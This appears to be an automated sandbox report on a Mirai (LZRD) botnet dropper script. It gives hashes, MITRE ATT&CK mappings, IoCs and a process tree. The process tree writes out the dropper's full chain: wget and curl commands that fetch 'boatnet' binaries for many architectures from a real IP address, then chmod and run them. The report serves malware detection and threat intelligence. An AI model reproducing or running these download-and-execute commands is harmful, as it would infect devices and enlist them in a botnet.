mirai | 2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5

Analysis

max time kernel
148s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
17-12-2024 11:20

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General

Target

ohshit.sh
Size

2KB
MD5

d7aac5b39f096043750096172ee9a84f
SHA1

fde809f81c26db59c148255c0b60176c8971bc0c
SHA256

2c95ce1c6140c8c2db66382fbc0b832367891d03789b31bfef60f1e34b9250a5
SHA512

77c79dcb7c89e16cfe5d3712adf37173249b6066673ff20c2a2b6c90ebe2eb5ac5c295a250b6b9fc0596ff0872ecc15d4dec8852a515c0826436426dd5f1efff

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1547	chmod
1495	chmod
1503	chmod
1523	chmod
1539	chmod
1581	chmod
1647	chmod
1655	chmod
1663	chmod
1531	chmod
1563	chmod
1671	chmod
1601	chmod
1609	chmod
1629	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1496	WTF
/tmp/WTF	1504	WTF
/tmp/WTF	1524	WTF
/tmp/WTF	1532	WTF
/tmp/WTF	1540	WTF
/tmp/WTF	1548	WTF
/tmp/WTF	1564	WTF
/tmp/WTF	1582	WTF
/tmp/WTF	1602	WTF
/tmp/WTF	1612	WTF
/tmp/WTF	1630	WTF
/tmp/WTF	1648	WTF
/tmp/WTF	1656	WTF
/tmp/WTF	1664	WTF
/tmp/WTF	1672	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1255/cmdline	WTF
File opened for reading	/proc/1118/cmdline	WTF
File opened for reading	/proc/1183/cmdline	WTF
File opened for reading	/proc/514/cmdline	WTF
File opened for reading	/proc/1136/cmdline	WTF
File opened for reading	/proc/436/cmdline	WTF
File opened for reading	/proc/1155/cmdline	WTF
File opened for reading	/proc/538/cmdline	WTF
File opened for reading	/proc/419/cmdline	WTF
File opened for reading	/proc/1651/cmdline	WTF
File opened for reading	/proc/1298/cmdline	WTF
File opened for reading	/proc/442/cmdline	WTF
File opened for reading	/proc/699/cmdline	WTF
File opened for reading	/proc/1086/cmdline	WTF
File opened for reading	/proc/1157/cmdline	WTF
File opened for reading	/proc/1169/cmdline	WTF
File opened for reading	/proc/1586/cmdline	WTF
File opened for reading	/proc/507/cmdline	WTF
File opened for reading	/proc/1541/cmdline	WTF
File opened for reading	/proc/1073/cmdline	WTF
File opened for reading	/proc/412/cmdline	WTF
File opened for reading	/proc/1172/cmdline	WTF
File opened for reading	/proc/1275/cmdline	WTF
File opened for reading	/proc/1482/cmdline	WTF
File opened for reading	/proc/1474/cmdline	WTF
File opened for reading	/proc/870/cmdline	WTF
File opened for reading	/proc/1527/cmdline	WTF
File opened for reading	/proc/538/cmdline	WTF
File opened for reading	/proc/699/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/436/cmdline	WTF
File opened for reading	/proc/1077/cmdline	WTF
File opened for reading	/proc/1221/cmdline	WTF
File opened for reading	/proc/1174/cmdline	WTF
File opened for reading	/proc/1541/cmdline	WTF
File opened for reading	/proc/559/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1154/cmdline	WTF
File opened for reading	/proc/405/cmdline	WTF
File opened for reading	/proc/1221/cmdline	WTF
File opened for reading	/proc/1649/cmdline	WTF
File opened for reading	/proc/1477/cmdline	WTF
File opened for reading	/proc/1122/cmdline	WTF
File opened for reading	/proc/1275/cmdline	WTF
File opened for reading	/proc/457/cmdline	WTF
File opened for reading	/proc/1665/cmdline	WTF
File opened for reading	/proc/1161/cmdline	WTF
File opened for reading	/proc/1331/cmdline	WTF
File opened for reading	/proc/1283/cmdline	WTF
File opened for reading	/proc/1309/cmdline	WTF
File opened for reading	/proc/1151/cmdline	WTF
File opened for reading	/proc/1157/cmdline	WTF
File opened for reading	/proc/1535/cmdline	WTF
File opened for reading	/proc/536/cmdline	WTF
File opened for reading	/proc/668/cmdline	WTF
File opened for reading	/proc/1667/cmdline	WTF
File opened for reading	/proc/1651/cmdline	WTF
File opened for reading	/proc/559/cmdline	WTF
File opened for reading	/proc/1675/cmdline	WTF
File opened for reading	/proc/1066/cmdline	WTF
File opened for reading	/proc/507/cmdline	WTF
File opened for reading	/proc/424/cmdline	WTF
File opened for reading	/proc/1589/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1501	curl
1500	wget

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/boatnet.arc	curl
File opened for modification	/tmp/boatnet.mpsl	wget
File opened for modification	/tmp/boatnet.arm6	curl
File opened for modification	/tmp/boatnet.m68k	wget
File opened for modification	/tmp/boatnet.mips	wget
File opened for modification	/tmp/boatnet.mips	curl
File opened for modification	/tmp/boatnet.arc	wget
File opened for modification	/tmp/boatnet.i686	curl
File opened for modification	/tmp/boatnet.arm	wget
File opened for modification	/tmp/boatnet.arm5	curl
File opened for modification	/tmp/boatnet.arm7	wget
File opened for modification	/tmp/boatnet.ppc	wget
File opened for modification	/tmp/boatnet.ppc	curl
File opened for modification	/tmp/boatnet.sh4	wget
File opened for modification	/tmp/boatnet.x86	wget
File opened for modification	/tmp/boatnet.spc	wget
File opened for modification	/tmp/boatnet.spc	curl
File opened for modification	/tmp/boatnet.m68k	curl
File opened for modification	/tmp/boatnet.i468	curl
File opened for modification	/tmp/boatnet.mpsl	curl
File opened for modification	/tmp/boatnet.sh4	curl
File opened for modification	/tmp/boatnet.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/boatnet.arm	curl
File opened for modification	/tmp/boatnet.arm5	wget
File opened for modification	/tmp/boatnet.arm6	wget
File opened for modification	/tmp/boatnet.arm7	curl
File opened for modification	/tmp/boatnet.x86_64	curl

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1480
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1481
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86
  2⤵
  - Writes file to tmp directory
  PID:1485
- /bin/cat
  cat boatnet.x86
  2⤵
  PID:1494
- /bin/chmod
  chmod +x boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1495
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1496
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1500
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1501
- /bin/chmod
  chmod +x boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-iawjZJ systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1503
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1504
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1508
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arc
  2⤵
  - Writes file to tmp directory
  PID:1515
- /bin/chmod
  chmod +x boatnet.arc boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-qqwK9a systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1523
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1524
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  PID:1528
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i468
  2⤵
  - Writes file to tmp directory
  PID:1529
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-qqwK9a systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1531
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1532
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  PID:1536
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.i686
  2⤵
  - Writes file to tmp directory
  PID:1537
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-qqwK9a systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1539
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1540
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  PID:1544
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1545
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-qqwK9a systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1547
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1548
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1552
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1559
- /bin/chmod
  chmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1563
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1564
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1568
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm
  2⤵
  - Writes file to tmp directory
  PID:1573
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-kbA3PR systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1581
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1582
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1586
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm5
  2⤵
  - Writes file to tmp directory
  PID:1595
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-UqZmTu systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1601
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1602
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1606
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm6
  2⤵
  - Writes file to tmp directory
  PID:1607
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-UqZmTu systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1609
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1612
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1616
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.arm7
  2⤵
  - Writes file to tmp directory
  PID:1627
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-bolt.service-KWHRsC systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-timedated.service-6FGrAt WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1629
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1630
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1634
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.ppc
  2⤵
  - Writes file to tmp directory
  PID:1641
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1647
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1648
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1652
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.spc
  2⤵
  - Writes file to tmp directory
  PID:1653
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1655
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1656
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1660
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.m68k
  2⤵
  - Writes file to tmp directory
  PID:1661
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1663
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1664
- /usr/bin/wget
  wget http://147.45.124.54/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1668
- /usr/bin/curl
  curl -O http://147.45.124.54/hiddenbin/boatnet.sh4
  2⤵
  - Writes file to tmp directory
  PID:1669
- /bin/chmod
  chmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 config-err-YaDWEb netplan_00jvjmdy ohshit.sh snap-private-tmp ssh-IU2XV3AWLQa1 systemd-private-d46feef123ab45309818f9ae76d6c369-colord.service-MkWvhM systemd-private-d46feef123ab45309818f9ae76d6c369-ModemManager.service-ockDLB systemd-private-d46feef123ab45309818f9ae76d6c369-systemd-resolved.service-yB7gR0 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1671
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/boatnet.x86

Filesize
20KB

MD5
9acf9fc63b01f4a7a5b33881073ff6a6

SHA1
cf5be79ccc477ca582c8aee42898442f8089b886

SHA256
0a21cbd563070ce0b39665b70de81e88f4680648335e9c6cd13963e8846e7ea9

SHA512
1dd2bd462850bdd10a2d95214d16dd358131838862a119b47ba6d70a0c894284efbf7294e24c79b0032aba41e09b8e84c372bdae073d6339e269187b8794eae5

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